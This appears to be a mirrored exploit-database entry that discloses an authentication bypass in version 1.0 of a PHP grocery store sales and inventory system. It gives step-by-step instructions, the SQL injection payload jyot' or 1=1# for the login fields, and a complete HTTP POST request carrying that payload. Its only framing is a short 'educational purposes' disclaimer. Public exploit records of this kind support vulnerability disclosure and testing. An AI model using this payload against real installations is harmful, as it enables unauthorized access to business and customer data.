Simple grocery store sales and inventory system 1.0 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-15 | Type : webapps | Platform : php
This exploit / vulnerability Simple grocery store sales and inventory system 1.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Simple Grocery Store Sales And Inventory System 1.0 - Authentication Bypass
# Date: 24/09/2020
# Exploit Author: Saurav Shukla & Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14461/simple-grocery-store-sales-and-inventory-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sales-inventory-system-using-php.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


Step 1: Open the URL http://localhost/sales_inventory/login.php

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request:::


POST /sales_inventory/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Origin: http://localhost
Connection: close
Referer: http://localhost/sales_inventory/login.php
Cookie: PHPSESSID=hdk9npcmq341ulcsn8cj6oefov

username=jyot'+or+1%3d1%23&password=jyot'+or+1%3D1%23